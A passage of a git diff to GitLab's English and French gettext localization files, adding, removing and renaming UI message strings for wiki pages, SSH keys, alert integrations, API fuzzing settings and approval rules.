msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index ca49fad5606..21680faa340 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:14\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d résultat du test corrigé"
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} a créé %{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{count} approbations de %{name}"
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "encore %{count}"
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}En savoir plus%{usage_ping_link_end} sur les informations partagées avec GitLab Inc."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "un ticket ouvert"
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] "Un utilisateur"
msgstr[1] "%{num} utilisateurs"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "Une personne avec un accès en écriture à la branche source a sélectionné cette option"
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr "Limitations du compte"
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr "Ajouter"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Ajouter une liste à puces"
@@ -1854,6 +1905,9 @@ msgstr "Ajouter un commentaire"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr "Ajouter un enâ€tête et un pied de page aux courriels. Veuillez noter q
msgid "Add image comment"
msgstr "Ajouter un commentaire à l’image"
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr "Ajouter du texte en italique"
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Ajouter une réaction"
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr "Texte supplémentaire"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Espace d’administration"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr "Vous êtes sur le point d’arrêter toutes les tâches. Toutes les tâc
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Erreur lors du chargement des statistiques. Veuillez réessayer"
-msgid "AdminNote|Note"
-msgstr "Note"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Vous êtes sur le point de supprimer définitivement le projet %{projectName}, son dépôt et toutes les ressources qui lui sont liées, y compris les tickets, les demandes de fusion, etc. Après sa confirmation par un clic sur « %{strong_start}supprimer le projet%{strong_end} », l’action ne peut être annulée ni faire l’objet d’une restauration."
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] "Alerte"
msgstr[1] "Alertes"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr "Également appelé « émetteur » ou « identifiant du tiers de conf
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Aussi appelée « adresse URL du service du tiers de confiance » ou « URL de réponse »"
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Une erreur est survenue"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr "Une erreur est survenue lors de la récupération des commentaires en at
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Une erreur s’est produite lors de la récupération des données de la barre latérale"
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr "Une erreur est survenue pendant la récupération du journal de la tâche."
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Êtesâ€vous vraiment prêt(e) à perdre les modifications non enregistrées ?"
@@ -4026,6 +4137,12 @@ msgstr "Êtesâ€vous sûr(e) de vouloir arrêter cet environnement ?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Êtesâ€vous sûr·e de vouloir déverrouiller %{path_lock_path} ?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
